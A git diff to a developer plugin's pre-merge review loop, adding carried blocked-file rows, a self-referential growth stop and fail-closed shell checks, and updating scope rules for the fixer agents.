+2505,61 @@ def cmd_assert_green(args: argparse.Namespace) -> int: if not isinstance(blockers, list): fail("input_schema_invalid", "classified.json has no blockers array") + # CARRIED ROWS DO GATE, AND THIS IS THE ONE PLACE THEY MAY. + # + # A `blocked_on_carry` row is not a defect anyone reported -- it is the loop + # telling itself which extra file the NEXT fixer wave has to touch -- so it + # is inert for every question about PROGRESS: `_blocker_fingerprints` skips + # it, so it never inflates `BLOCKERS=`, `FIXED=`, `NEW=` or the + # STOP_NO_PROGRESS/STOP_REGRESSED multisets, and `_growth_ratio` skips it on + # both sides. Nothing below changes any of that. What it IS is an edit the + # run has not made yet, and this gate's question is not "did the reviewer + # find something" but "is this stack finished". It is not. + # + # EXCLUDING IT HERE LOSES THE WORK OUTRIGHT, which is why the exclusion is + # gone. Reproduced end to end against the shipped module: attempt 1 with one + # reviewer blocker in tests/premerge.test.sh, a `blocked_on_file` naming + # tests/goal.test.sh, attempt 2 with an empty reviewer findings array. + # `plan --carry-blocked` printed `BLOCKED=1` and wrote + # `fix-waves-02.json = [[tests/goal.test.sh]]`, and this gate answered + # `VERDICT=green REASONS=none` -- so `converge` said STOP_GREEN, that wave + # was never dispatched, Phase 5 ran with `PREMERGE_SURVIVORS=0`, and the + # consequence was discarded without a word. That is exactly the run shape + # SKILL.md `## Phase 2` advertises as the widening's payoff ("a `BLOCKED=` + # above zero on a run whose reviewer found nothing new is the loop finishing + # a cross-file fix"), so the feature was a no-op in precisely its own case. + # + # `blockers_remaining=` IS THE ONLY ROUTE TO A FIXER WAVE. SKILL.md `### 3c` + # dispatches the Phase 2a waves on that term and on no other, and a term it + # has never heard of is a STOP_UNREADABLE rather than a wave (see + # `GATE_REASONS_ROUTABLE`). So a carried row that does not land in this count + # cannot reach a fixer at all, and there is no second token to give it. + # + # THE COUNT IS NOT WHAT THE STOP CONDITIONS READ. `cmd_converge` strips every + # `blockers_remaining=` term out of `other` before routing precisely because + # the fingerprint multisets say the same thing more exactly -- so widening + # this number back out feeds the wave dispatch and feeds NOTHING that decides + # whether the loop has stalled. The two populations stay separate: this + # number is "edits the stack still needs", `BLOCKERS=` is "defects the + # reviewer raised", and `BLOCKED=` on the triage line is exactly the + # difference. + # + # AND IT STAYS BOUNDED. An attempt whose blockers are ALL carried has an + # empty reviewer multiset, so a second such attempt in a row is + # `current_prints == previous_prints` with an unchanged `other` -- + # STOP_NO_PROGRESS, a not-green stop that hands Phase 5 + # `--include-blockers`, where `cmd_defer` files the outstanding carried rows + # rather than dropping them. One round of chasing a cross-file chain, then a + # stop that loses nothing. The label is the loop's least precise, and a + # carried-set-changed escape from it is exactly the phantom churn + # `_BLOCKED_ON_SUMMARY` documents: b, c, b, c forever. + # + # Still FAIL-CLOSED on anything unreadable: every row counts here, so a + # non-object row cannot make this gate answer green. reasons = [] - if blockers: - reasons.append("blockers_remaining=%d" % len(blockers)) + remaining = len(blockers) + if remaining: + reasons.append("blockers_remaining=%d" % remaining) # ---- is this evidence about the code that is on the branch RIGHT NOW? ---- # A refused re-plan (a >64-finding review, a finding the reviewer emitted @@ -1673,7 +2671,16 @@ def cmd_defer(args: argparse.Namespace) -> int: for candidate in range(attempt, 0, -1): try: document = _read_attempt(run_dir, candidate, required=False) - except Refusal: + except Refusal as refusal: + # NAMED, not merely stepped over. `fail` no longer prints, so an + # unannounced absorption here would lose the only statement of WHY + # an attempt was unusable -- and `attempt_fallback` below reports + # the outcome, never the cause. + print( + "premerge-findings: attempt_unreadable_skipped: " + f"attempt {candidate} ({refusal.token}); it is not deferred from", + file=sys.stderr, + ) document = None if document is not None: defer_attempt = candidate @@ -1714,7 +2721,41 @@ def cmd_defer(args: argparse.Namespace) -> int: ) if args.include_blockers: - rows.extend(_object_rows(document["blockers"], "blocker")) + # CARRIED ROWS ARE DEFERRED, AT CLEANUP TIER. This is the loop's LAST + # exit for one, and dropping it here is what made the widening lossy. + # + # A `blocked_on_carry` row reaching this verb is a file some fixer said + # it needed and that no wave ever got to: the run stopped not-green with + # the edit still outstanding. That is the definition of "a thing the + # machine could not fix", so it belongs in the aggregate. Skipping it + # discarded it silently -- the gate above is the loop's first mechanism + # for keeping it (it routes the row to a fixer wave), and this is the + # second, for the runs where the budget ran out before a wave could. + # + # IT IS FILED AS A SUGGESTION, NEVER A BLOCKER, and that is the half of + # the old exclusion worth keeping. No reviewer raised it, it names no + # line and its summary states a scheduling fact; at blocker tier it + # opened a BLOCKER-tier issue describing no defect, carrying the + # `Blocks: #` backref `findings-to-issues` gives a real + # surviving blocker, and `severity_rank(blocker)=3` sorted it ABOVE + # every cleanup row, so up to MAX_BLOCKED_ON of them displaced real + # findings from the filer's `max_new` cap. Cleanup tier keeps the + # follow-up without either claim: it does not outrank a proven defect, + # and `PREMERGE_DEFER BLOCKER=` keeps meaning "reviewer-raised blockers + # this run could not clear" -- the same population `converge`'s + # `BLOCKERS=` and the GROWTH denominator measure, and the one the Phase 5 + # fence's `CLASS=` arms branch on. + # + # A COPY, NEVER THE STORED ROW. `document` is re-read per invocation, so + # mutating in place would be invisible today -- and it would also make + # this verb's answer depend on how many times it had run. + # + # `_object_rows` still runs over the whole array, so a stored row that + # is not an object refuses here exactly as it always did. + rows.extend( + _as_deferred_carry_row(row) if _is_carried(row) else row + for row in _object_rows(document["blockers"], "blocker") + ) if args.lens_findings is not None: rows.extend(_normalise_lens_findings(_load(args.lens_findings))) @@ -1985,6 +3026,14 @@ def cmd_converge(args: argparse.Namespace) -> int: current_prints = _blocker_fingerprints(current) previous_prints = _blocker_fingerprints(previous) if previous is not None else None + # The self-referential-growth measurement, from artifacts the run already + # wrote: this attempt's `classified-NN.json` (already loaded above) and the + # previous attempt's `fix-scope-NN.modified` (already written by the commit + # fence, already inside --run-dir). No new argument, no new fence, no new + # phase. + repair_scope = _read_repair_scope(run_dir, attempt - 1) if attempt > 1 else None + growth = _growth_ratio(current, previous_prints, repair_scope) + current_total = sum(current_prints.values()) if previous_prints is None: previous_total = None @@ -2025,6 +3074,25 @@ def cmd_converge(args: argparse.Namespace) -> int: frozenset(last_row.get("reasons_other") or []) if isinstance(last_row, dict) else None ) + # WARN, THEN STOP. One round at or above the ceiling is consistent with a + # convergence whose repairs are concentrated in a few files; it is printed + # and recorded and changes nothing. The stop needs CONVERGE_GROWTH_RUNS + # consecutive ELIGIBLE rounds, read off the previous attempt's own ledger + # row rather than carried in a variable a fence could forget -- the same + # reasoning `_count_wait_rows` is built on. + # + # ELIGIBLE, not merely measured: `_growth_round_counts` holds both halves of + # the test, and it is called with THIS round's numbers and then with the + # previous round's own ledger columns, so the two rounds are judged by one + # predicate rather than by two hand-kept copies of it. + growth_streak = _growth_round_counts( + growth, current_total, previous_total + ) and _growth_round_counts( + last_row.get("growth") if isinstance(last_row, dict) else None, + last_row.get("blockers") if isinstance(last_row, dict) else None, + last_row.get("previous_blockers") if isinstance(last_row, dict) else None, + ) + # Every gate term this loop has no route for: `stale_evidence`, which is # unrepairable by definition, plus anything a fence invented that # GATE_REASONS_ROUTABLE has never heard of -- `gate_unreadable` above all, @@ -2062,6 +3130,18 @@ def cmd_converge(args: argparse.Namespace) -> int: and other == previous_other ): decision = "STOP_NO_PROGRESS" + elif growth_streak: + # Two rounds running, most of what the reviewer returned did not exist + # before the loop's own repairs wrote it. Stopping ABOVE the budget + # check on purpose: "the loop was still winning, raise --converge" and + # "the loop was reviewing itself" are opposite operator responses, and + # STOP_EXHAUSTED says the first about a run that did the second. + # + # These findings are not discarded. This is a not-green stop, so the + # controller runs Phase 5 with PREMERGE_SURVIVORS=1 and `defer` gets + # --include-blockers: every surviving blocker becomes an issue. The + # claim is "not THIS loop's work", never "not work". + decision = "STOP_SELF_REFERENTIAL" elif attempt > max_repairs: # Strictly greater: attempt N is the review that verifies repair N-1, so # the budget is spent only once we are past it. `>=` here is the @@ -2080,6 +3160,7 @@ def cmd_converge(args: argparse.Namespace) -> int: "blockers": current_total, "decision": decision, "fixed": fixed, + "growth": growth, "head_sha": current.get("head_sha"), "max_repairs": max_repairs, "new": appeared, @@ -2093,7 +3174,7 @@ def cmd_converge(args: argparse.Namespace) -> int: print( "PREMERGE_CONVERGE ATTEMPT=%d DECISION=%s BLOCKERS=%d PREV=%s FIXED=%d NEW=%d" - " WAIT=%d MAXREPAIRS=%d REASONS=%s" + " GROWTH=%s WAIT=%d MAXREPAIRS=%d REASONS=%s" % ( attempt, decision, @@ -2101,6 +3182,7 @@ def cmd_converge(args: argparse.Namespace) -> int: "-" if previous_total is None else str(previous_total), fixed, appeared, + "-" if growth is None else "%.2f" % growth, wait_passes, max_repairs, ",".join(reasons) if reasons else "none", @@ -2120,6 +3202,11 @@ def main(argv: "list[str]") -> int: plan.add_argument("--attempt", type=int, default=1) plan.add_argument("--head-sha", default=None) plan.add_argument("--carry-prior", action="store_true") + plan.add_argument("--carry-blocked", action="store_true") + # Only required WITH --carry-blocked, and `cmd_plan` refuses the pair rather + # than defaulting it: containment is a filesystem check and there is no safe + # root to guess. Left optional so every existing call site is unchanged. + plan.add_argument("--repo-root", default=None) plan.set_defaults(handler=cmd_plan) gate = sub.add_parser("assert-green", help="the pre-simplify clean gate") @@ -2148,7 +3235,16 @@ def main(argv: "list[str]") -> int: loop.set_defaults(handler=cmd_converge) args = parser.parse_args(argv) - return args.handler(args) + # THE ONE PLACE A REFUSAL IS ANNOUNCED -- see `fail`. A `Refusal` that gets + # this far is one no caller absorbed, so it really is the process refusing + # and the `0|74` contract every fence branches on is what it means. Exit 74 + # is `Refusal`'s own code, restated here rather than read off the exception + # so `main` keeps returning an int on every path. + try: + return args.handler(args) + except Refusal as refusal: + print(_refusal_line(refusal.token, refusal.detail), file=sys.stderr) + return 74 if __name__ == "__main__": diff --git a/plugins/uberdev/lib/review-consolidate.sh b/plugins/uberdev/lib/review-consolidate.sh index f8133f6f..17768415 100644 --- a/plugins/uberdev/lib/review-consolidate.sh +++ b/plugins/uberdev/lib/review-consolidate.sh @@ -131,19 +131,47 @@ review_consolidate_exclude() { } # review_consolidate_excluded_numbers SCAN_DIR -> one excluded PR number per line. +# +# NOT `jq ... | sort -un`. A command substitution around that pipeline takes the +# status of `sort`, which succeeds on empty input, so a `jq` that CRASHED on a +# truncated or half-written excluded.jsonl reported rc 0 and the empty set -- +# and the empty set is "nothing was excluded", which puts every excluded +# candidate straight back into the combine. That is the same fail-OPEN shape as +# the staged-set guard in review_consolidate_continue and it is fixed the same +# way: a producer whose own status is checked into a variable, then a `sort` +# whose own status is checked. rc 2 means UNKNOWN and never "none". +# +# The absent/empty file keeps returning 0 with no output, because there it is +# not an unknown: nothing has been excluded yet. review_consolidate_excluded_numbers() { - local scan_dir="${1:-}" + local scan_dir="${1:-}" raw [ -s "$scan_dir/excluded.jsonl" ] || return 0 - jq -r '.number' <"$scan_dir/excluded.jsonl" 2>/dev/null | sort -un + raw="$(jq -r '.number' <"$scan_dir/excluded.jsonl")" || { + _uberdev_consolidate_error "the exclusion record at $scan_dir/excluded.jsonl is unreadable; refusing to report it as an empty exclusion set" + return 2 + } + [ -n "$raw" ] || return 0 + sort -un <<<"$raw" || return 2 } # review_consolidate_survivors SCAN_DIR -> the candidate array minus exclusions. review_consolidate_survivors() { local scan_dir="${1:-}" [ -s "$scan_dir/candidates.json" ] || { printf '[]\n'; return 0; } - local dropped - dropped="$(review_consolidate_excluded_numbers "$scan_dir" | jq -R 'tonumber?' | jq -sc '.')" || dropped='[]' - [ -n "$dropped" ] || dropped='[]' + # Same rule as the producer above, one level out: the old + # `"$(excluded_numbers | jq | jq -sc '.')" || dropped='[]'` bound its `||` to + # the LAST jq, which emits `[]` and exits 0 on empty input -- so a producer + # that failed and a repo with no exclusions arrived here as the same value, + # and the fallback then wrote that fail-open answer down as if it were a + # decision. Each stage is checked on its own, and an unreadable exclusion + # record refuses instead of silently widening the survivor set. + local dropped excluded_numbers numeric + excluded_numbers="$(review_consolidate_excluded_numbers "$scan_dir")" || return 2 + numeric="$(jq -R 'tonumber?' <<<"$excluded_numbers")" || return 2 + dropped="$(jq -sc '.' <<<"$numeric")" || return 2 + # No empty-string fallback for $dropped: the line above returns 2 on any + # non-zero jq, and `jq -sc '.'` writes an array -- `[]` at minimum -- on every + # zero exit, so the empty case a fallback would cover cannot occur. jq -c --argjson dropped "$dropped" \ '[ .[] | select((.number as $n | $dropped | index($n)) == null) ]' \ <"$scan_dir/candidates.json" 2>/dev/null || printf '[]\n' @@ -654,12 +682,64 @@ review_consolidate_continue() { # The staged set may not have grown past what the merge itself staged plus the # conflicted paths. - local allowed staged extra - allowed="$( - { cat "$scan_dir/staged-at-conflict-$number.txt" 2>/dev/null || :; tr '\0' '\n' <"$conflicts"; } | sort -u - )" - staged="$(git -C "$worktree" diff --cached --name-only 2>/dev/null | sort -u)" - extra="$(comm -13 <(printf '%s\n' "$allowed") <(printf '%s\n' "$staged"))" + local allowed_raw allowed staged_raw staged extra + # NEITHER LIST MAY BE PRODUCED BY A PIPELINE. `X="$( | LC_ALL=C + # sort -u)"` hands the ASSIGNMENT the status of `sort`, and `sort` succeeds on + # empty input -- so a producer that FAILED is indistinguishable from one that + # had nothing to say. On the staged half that is the fail-OPEN direction and it + # disarms this guard completely: under index.lock contention from a concurrent + # agent, a corrupt index, or a `$worktree` that moved under the function, the + # `git diff --cached` fails, `staged` is empty, the comparison finds nothing, + # `extra` is empty, and `git merge --continue` commits a staged set NOTHING + # examined -- the exact fail-open this guard exists to prevent, inside the + # guard itself. Worse, the two halves fail in OPPOSITE directions under the + # identical shape: an empty `allowed` makes every staged path extra (loud, + # closed) while an empty `staged` makes none (silent, open), so the half that + # matters is the half that looks fine. Both are therefore written the same + # way, and so is the comparison: a producer whose OWN status is checked into a + # variable, THEN a `sort` (and then a `comm`) whose OWN status is checked. + # Stderr is not discarded on the producers either -- a guard that refuses has + # to be able to say what it could not read. + # + # The one deliberate tolerance is `cat` on staged-at-conflict-.txt: + # review_consolidate_merge_one writes it best-effort, and an absent or short + # file can only SHRINK `allowed`, which can only turn a path into an extra and + # refuse. That direction is the closed one, so it stays a `|| :` rather than + # becoming a refusal on a record that was never load-bearing. + # + # LC_ALL=C ON EVERY MEMBER OF THE sort/comm TRIO, INCLUDING `comm` ITSELF. + # This guard compares PATHS AS BYTES. `sort` orders by the ambient collation + # and `comm`'s merge walk assumes the order its own collation would produce; + # when the two disagree the walk desynchronises and reports a path present in + # BOTH lists as extra -- refusing a merge whose staged set was correct. That + # consequence is not theoretical: feed `comm -13` two lists holding the SAME + # three paths in two different orders and it names one of them as extra. + # The two sorts share a shell today and so agree by accident; pinning makes + # the guard's correctness a property of the code rather than of whatever + # LC_ALL / LC_COLLATE / LANG the operator's shell happened to inherit, which + # varies by platform -- and this guard runs on every platform UberDev does. + allowed_raw="$( + { cat "$scan_dir/staged-at-conflict-$number.txt" 2>/dev/null || :; tr '\0' '\n' <"$conflicts"; } + )" || { + _uberdev_consolidate_error "#$number: could not read the enumerated conflict set; refusing to complete a merge whose allowed set is unknown" + return 2 + } + allowed="$(LC_ALL=C sort -u <<<"$allowed_raw")" || { + _uberdev_consolidate_error "#$number: could not order the allowed set; refusing to complete a merge whose allowed set is unknown" + return 2 + } + staged_raw="$(git -C "$worktree" diff --cached --name-only)" || { + _uberdev_consolidate_error "#$number: could not read the staged set; refusing to complete a merge whose staged set is unknown" + return 2 + } + staged="$(LC_ALL=C sort -u <<<"$staged_raw")" || { + _uberdev_consolidate_error "#$number: could not order the staged set; refusing to complete a merge whose staged set is unknown" + return 2 + } + extra="$(LC_ALL=C comm -13 <(printf '%s\n' "$allowed") <(printf '%s\n' "$staged"))" || { + _uberdev_consolidate_error "#$number: the staged-set comparison itself failed; refusing to complete a merge whose staged set is unverified" + return 2 + } if [ -n "$extra" ]; then _uberdev_consolidate_error "#$number: the staged set grew beyond the merge's own set plus the conflicted paths: $(tr '\n' ' ' <<<"$extra")" return 2 @@ -746,8 +826,19 @@ review_consolidate_drive() { return 2 } local number done_numbers dropped - done_numbers="$(sort -un "$scan_dir/included.txt" 2>/dev/null)" - dropped="$(review_consolidate_excluded_numbers "$scan_dir")" + # included.txt is legitimately ABSENT on the first entry -- that is the "no + # candidate is done yet" answer and not a failure -- so the absence is tested + # for rather than inferred from a swallowed `sort` status. Once the file does + # exist, a `sort` that fails is an unknown skip-set, and an unknown skip-set + # silently re-merges candidates the loop already placed. + done_numbers="" + if [ -s "$scan_dir/included.txt" ]; then + done_numbers="$(sort -un <"$scan_dir/included.txt")" || { + _uberdev_consolidate_error "could not read the already-included set; refusing to walk the merge order without it" + return 2 + } + fi + dropped="$(review_consolidate_excluded_numbers "$scan_dir")" || return 2 while IFS= read -r number; do [ -n "$number" ] || continue case " @@ -942,8 +1033,31 @@ review_consolidate_push_branch() { return 79 ;; esac - git -C "$worktree" push -u origin "$branch" >/dev/null 2>&1 || { - _uberdev_consolidate_error "pushing $branch to origin failed" + # git's own words are CAPTURED, not discarded. `>/dev/null 2>&1 || return 2` + # sent the explanation of a non-fast-forward, an expired token or a + # protected-branch rule to the same place as the progress output, and this is + # the push the rest of Phase 0 depends on: it aborts the run mid-loop with the + # cause already thrown away. The five push sites in + # skills/premerge-pipeline/SKILL.md are the model; this one lives in the + # library, outside the fence corpus tests/premerge.test.sh P18 scans. + local push_err + push_err="$(git -C "$worktree" push -u origin "$branch" 2>&1 1>/dev/null)" || { + # Bounded and defused BEFORE anything reads it, because a pre-receive hook + # chooses the length and the content of every `remote:` line. The same three + # jobs the fences' one-liner does -- references/phase-contracts.md, `### What + # a failed push is allowed to say`: 200 chars, one line, no live token. + # + # BOTH scraped markers are broken, because this library's stderr is the + # stream BOTH callers scrape positionally: commands/review-pr.md prints + # `REVIEW_CONSOLIDATE PR_NUMBER=... SCAN_ID=...` from the very fence that + # calls this function, and the premerge fences that source this file print + # `PREMERGE ...`. Either spelling arriving on a `remote:` line is a + # well-formed result no matter where it sits. `tr` and `cut` read to EOF, so + # this pipeline is not the early-exiting shape tests/epipe-guard.test.sh bans. + push_err="${push_err//PREMERGE/PRE-MERGE}" + push_err="${push_err//REVIEW_CONSOLIDATE/REVIEW-CONSOLIDATE}" + push_err="$(printf '%s' "$push_err" | tr -s '\n\r\t' ' ' | cut -c1-200)" + _uberdev_consolidate_error "pushing $branch to origin failed: $push_err" return 2 } return 0 diff --git a/plugins/uberdev/lib/rl-curl b/plugins/uberdev/lib/rl-curl index d8a9bdd4..9a29a579 100755 --- a/plugins/uberdev/lib/rl-curl +++ b/plugins/uberdev/lib/rl-curl @@ -2,14 +2,26 @@ # plugins/uberdev/lib/rl-curl — executable single-word shim over rate-limit-curl.sh. # # WHY THIS EXISTS (#306 / RFC 0012 §3.10): the testers persona agents run with -# pattern-scoped allowed-tools (Bash(curl*), Bash(date*), ...). The previously -# documented compound invocation `export RATE_STATE_DIR=...; source ...; -# uberdev_rate_limit_curl ...` matches NONE of those patterns, and the testers -# Phase-0 fence exports never reach a persona agent's environment anyway (each -# Task agent is a fresh process) — so the rate-limit wrapper was unreachable at -# every layer. This shim makes the wrapped call a SINGLE command word that the -# persona allowlists can carry (`Bash(*/lib/rl-curl*)`), with RATE_STATE_DIR / -# RPS_CAP injected PER CALL via argv (env remains the fallback). +# a pattern-scoped `tools:` frontmatter allowlist (Bash(curl*), Bash(date*), +# ...). NOTE (#749): from RFC 0006 until #749 those allowlists were declared +# under `allowed-tools:` -- the SLASH-COMMAND key, which the agent loader +# ignores on an agent card -- so for that whole window no allowlist applied at +# all and the personas held every tool. #749 moves them onto the honoured +# `tools:` key. That restores the TOOL-NAME half and only that: a `tools:` +# entry filters tool NAMES, and the pattern inside its parentheses is not a +# file-permission rule -- `Write()` is not matched by file permission +# checks at all (RFC 0006's #749 amendment records the runtime's own wording). +# So read "pattern-scoped" above as describing the declaration, not a proven +# runtime ceiling; what a `Bash(...)` pattern narrows is not something #749 +# established. +# +# The previously documented compound invocation `export RATE_STATE_DIR=...; +# source ...; uberdev_rate_limit_curl ...` matches NONE of those patterns, and +# the testers Phase-0 fence exports never reach a persona agent's environment +# anyway (each Task agent is a fresh process) — so the rate-limit wrapper was +# unreachable at every layer. This shim makes the wrapped call a SINGLE command +# word that the persona allowlists can carry (`Bash(*/lib/rl-curl*)`), with +# RATE_STATE_DIR / RPS_CAP injected PER CALL via argv (env remains the fallback). # # Usage: # rl-curl [--rate-state-dir=DIR] [--rps-cap=N] URL [curl-args...] diff --git a/plugins/uberdev/skills/premerge-pipeline/SKILL.md b/plugins/uberdev/skills/premerge-pipeline/SKILL.md index b69866de..1576deac 100644 --- a/plugins/uberdev/skills/premerge-pipeline/SKILL.md +++ b/plugins/uberdev/skills/premerge-pipeline/SKILL.md @@ -116,15 +116,35 @@ PREMERGE_VERSION_MANIFEST = plugins/uberdev/.claude-plugin/plugin.json PREMERGE_CONVERGE_DEFAULT= 3 # REPAIR rounds, --converge dials it PREMERGE_REPAIR_CEILING = 6 # the runaway backstop --converge cannot pass PREMERGE_WAIT_CI_CEILING = 8 # WAIT_CI re-probes before the loop calls CI dead +PREMERGE_GROWTH_CEILING = 0.50 # self-referential growth that stops the loop +PREMERGE_GROWTH_RUNS = 2 # consecutive attempts at/above it before it stops PREMERGE_RERUN_FLAKY_CAP = 1 # `gh run rerun` attempts per RUN +PREMERGE_MAX_BLOCKED_ON = 8 # blocked_on_file paths one attempt may add — see `### 2a — The fixer-wave mechanism` ``` +`PREMERGE_MAX_BLOCKED_ON` is **declared in `lib/premerge-findings.py`** +(`MAX_BLOCKED_ON`) and restated here for the reader. It is equal to +`PREMERGE_MAX_FIX_WAVE` on purpose: one attempt's `blocked_on_file` returns may +add at most one extra wave's worth of files to the next attempt's plan, so the +widening is bounded by something a reader can check rather than by a number +someone picked. Rows past the cap are **dropped and counted**, never refused — +a dropped path is simply a path no fixer may touch, and the finding survives to +the next attempt exactly as it does today. + `PREMERGE_REPAIR_CEILING` and `PREMERGE_WAIT_CI_CEILING` are **declared in `lib/premerge-findings.py`** (`CONVERGE_REPAIR_CEILING`, `CONVERGE_WAIT_CI_CEILING`) and restated here for the reader. The library is the enforcer — it refuses an out-of-range `--max-repairs` rather than clamping it, so these two numbers being prose does not make them advisory. +`PREMERGE_GROWTH_CEILING` and `PREMERGE_GROWTH_RUNS` are declared the same way +(`CONVERGE_GROWTH_CEILING`, `CONVERGE_GROWTH_RUNS`) and restated here for the +same reason. `0.50` is the break-even point of the loop's own accounting rather +than a round number: above it a repair round manufactures more new work than it +inherited, so every further round enlarges its own haystack. `2` is what makes +it a warning before it is a stop — one high round is consistent with a +convergence whose repairs happen to be concentrated in a few files. + `PREMERGE_CI_SETTLE_SECS` is consumed by the **controller**, not by a fence, and that is deliberate. It is named in exactly one instruction — the waitable-reasons row of `### 4c — VERIFY`'s table, which says to wait this long and then re-run the @@ -738,15 +758,26 @@ python3 -I -B "$UBERDEV_PREMERGE_PLUGIN_ROOT/lib/premerge-findings.py" plan \ --attempt "$PREMERGE_ATTEMPT" \ --head-sha "$PREMERGE_HEAD_SHA" \ --carry-prior \ + --carry-blocked \ + --repo-root "$PREMERGE_ROOT" \ --max-per-wave 8 || exit 74 ``` The fence prints one line: ``` -PREMERGE_TRIAGE TOTAL= BLOCKER= SUGGESTION= WAVES= CATEGORY_BACKED= ATTEMPT= CARRIED= +PREMERGE_TRIAGE TOTAL= BLOCKER= SUGGESTION= WAVES= CATEGORY_BACKED= ATTEMPT= CARRIED= BLOCKED= ``` +`--carry-blocked` is why `BLOCKED` exists: it is how many paths the PREVIOUS +attempt's `blocked_on_file` returns added to this attempt's wave plan. It counts +admitted paths only; rows refused by validation or displaced by +`PREMERGE_MAX_BLOCKED_ON` are counted in `classified.json` under +`counts.blocked_on_dropped`. A `BLOCKED=` above zero on a run whose reviewer +found nothing new is the loop finishing a cross-file fix the previous attempt +could only report — the round that would otherwise have been spent +rediscovering the block. + `--carry-prior` is why `CARRIED` exists. Blockers are things the loop is actively removing, so only the latest review's blocker set means anything. **Suggestions are never fixed by the loop** — so a suggestion the reviewer raised on attempt 1 @@ -792,7 +823,17 @@ Fix the code-review findings listed below in the single file . Rules: * Edit ONLY . If the honest fix requires touching another file, do not - make it — return `status: REFUSED` naming the file you would have needed. + make it — return `status: REFUSED` and name that file under + `blocked_on_file`. That is the FIRST emission case. + * The SECOND emission case is `status: APPLIED`. If your fix is correct and + complete in but leaves a CONSEQUENCE in another file — a comment, + a doc line or a sibling half of a two-way contract that your edit has just + made false — name that file under `blocked_on_file` too. Nobody else is + scoped to it, so a consequence you do not report is a consequence that + survives the round untouched. + * Give the REASON, never a line range. Other agents are editing their own + files in this same wave, so the coordinates you read may already have + moved by the time anyone acts on them. * Do NOT run git. No add, no commit, no stash, no checkout, no push. * Do NOT create new files. * If a finding is wrong, already handled, or would change intended behaviour @@ -814,8 +855,45 @@ outcomes: - rank: outcome: fixed | skipped | no_change_needed reason: +blocked_on_file: # OPTIONAL, repeatable. Omit the key entirely when empty. + - file: + reason: ``` +**Before that commit, write what the wave reported.** Collect every +`blocked_on_file` entry from every agent in every wave of this attempt into +`$PREMERGE_RUN_DIR/blocked-on-.json`, `` zero-padded to this attempt's +index, in exactly this shape: + +```json +{ + "schema_version": 1, + "attempt": 3, + "blocked_on": [ + { "file": "tests/agent-description-budget.test.sh", + "from_file": ".github/workflows/test.yml", + "reason": "the windows-skip-list is a two-way runtime contract; the marker block and the fixture's own guard must move together" } + ] +} +``` + +Write `"blocked_on": []` when the wave reported nothing, and **do not skip the +artifact** — an absent file and an empty array must never be the same +observable state, for the same reason `review-input.json` may not be skipped. + +**This file does not widen anything by itself.** The next attempt's `plan` +reads it, validates every value, caps the count at `PREMERGE_MAX_BLOCKED_ON`, +and turns each survivor into a blocker finding on that file — which +`_fix_waves` then groups into a wave like any other, with exactly one owner. +The commit fence below keeps deriving its allowed set from +`fix-waves-.json` and from nothing else, which is what keeps "committable" +and "owned by exactly one agent" the same set. Never add a path to the fence's +allowed list directly: that is the one edit this whole design exists to avoid. + +**Only the immediately preceding attempt is read.** `plan` opens +`blocked-on-.json` by name and never a range, so the set cannot accumulate +across the repair budget into an allow-list that constrains nothing. + After the last wave returns, **the controller makes exactly one commit** — agents never touch git, and the fence checks what they actually changed against the wave plan before it stages anything: @@ -888,41 +966,43 @@ if [ ! -s "$PREMERGE_WAVES_FILE" ]; then exit 2 fi PREMERGE_ASSIGNED_LIST="$PREMERGE_RUN_DIR/fix-scope-$PREMERGE_ATTEMPT_PAD.assigned" -PREMERGE_MODIFIED_LIST="$PREMERGE_RUN_DIR/fix-scope-$PREMERGE_ATTEMPT_PAD.modified" +PREMERGE_MODIFIED_LIST="$PREMERGE_RUN_DIR/fix-scope-$PREMERGE_ATTEMPT_PAD.pending" # .modified is published after the push PREMERGE_SCOPE_RAW="$PREMERGE_RUN_DIR/fix-scope-$PREMERGE_ATTEMPT_PAD.raw" -# NEITHER list may be produced by a pipeline. ` | sort -u >LIST || exit 2` -# binds the `||` to the PIPELINE's status, which is `sort`'s -- and `sort` -# succeeds on empty input. A `git diff` that failed (index.lock contention from a -# concurrent agent, a corrupt index, a `$PREMERGE_ROOT` that moved under the -# fence) therefore produced an EMPTY modified list, an empty `comm -23`, an empty -# `PREMERGE_STRAY`, and this fence fell through to `git add -u` and swept every -# tracked modification in the tree into the stack commit. That is the exact +# NEITHER list may be produced by a pipeline. ` | sort -u >LIST || +# exit 2` binds the `||` to the PIPELINE's status, which is `sort`'s -- and +# `sort` succeeds on empty input. A failed `git diff` (index.lock contention +# from a concurrent agent, a corrupt index, a `$PREMERGE_ROOT` that moved under +# the fence) therefore produced an EMPTY modified list, an empty `comm -23`, an +# empty `PREMERGE_STRAY`, and this fence fell through to `git add -u`, sweeping +# every tracked modification in the tree into the stack commit -- the exact # fail-OPEN the scope guard exists to prevent, inside the guard itself, on the -# half `## Common Mistakes` calls "the enforcement". -# -# Worse, the two halves failed in OPPOSITE directions under the identical shape: -# an empty ASSIGNED makes every file stray (loud, closed), an empty MODIFIED -# makes none (silent, open). So both are written the same way -- a producer whose -# own status is checked, then a `sort` whose own status is checked. -# `LC_ALL=C` ON EVERY MEMBER OF THE sort/comm TRIO, INCLUDING `comm` ITSELF. -# -# This guard compares PATHS AS BYTES, and locale collation has no business in -# it. `sort` orders by the ambient collation and `comm`'s merge walk assumes the -# order its own collation would produce; when the two disagree the walk -# desynchronises and reports a file present in BOTH lists as a stray -- which -# aborts an attempt whose fixers behaved correctly. Demonstrated: the same two +# half `## Common Mistakes` calls "the enforcement". Worse, the two halves +# failed in OPPOSITE directions under the identical shape: an empty ASSIGNED +# makes every file stray (loud, closed), an empty MODIFIED makes none (silent, +# open). So both are written the same way: a producer whose status is checked, +# then a `sort` whose status is checked. `LC_ALL=C` ON EVERY MEMBER OF THE +# sort/comm TRIO, INCLUDING `comm` ITSELF. This guard compares PATHS AS BYTES, +# and locale collation has no business in it: `sort` orders by the ambient +# collation, `comm`'s merge walk assumes its own, and when they disagree the +# walk desynchronises and reports a file present in BOTH lists as a stray -- +# aborting an attempt whose fixers behaved correctly. Demonstrated: the same two # paths sorted under en_US.UTF-8 and under C, compared with `comm -23`, print -# `lib/Zebra.sh` as a stray. The two sorts happen to share a shell today, so -# they agree with each other by accident; pinning makes the guard's correctness -# a property of the code rather than of an inherited environment variable that -# differs across the three CI runners. +# `lib/Zebra.sh` as a stray. The two sorts share a shell today, agreeing by +# accident; pinning makes the guard's correctness a property of the code rather +# than of an inherited environment variable that differs across the three CI +# runners. jq -r '.waves[][].file' <"$PREMERGE_WAVES_FILE" >"$PREMERGE_SCOPE_RAW" || exit 2 LC_ALL=C sort -u <"$PREMERGE_SCOPE_RAW" >"$PREMERGE_ASSIGNED_LIST" || exit 2 # 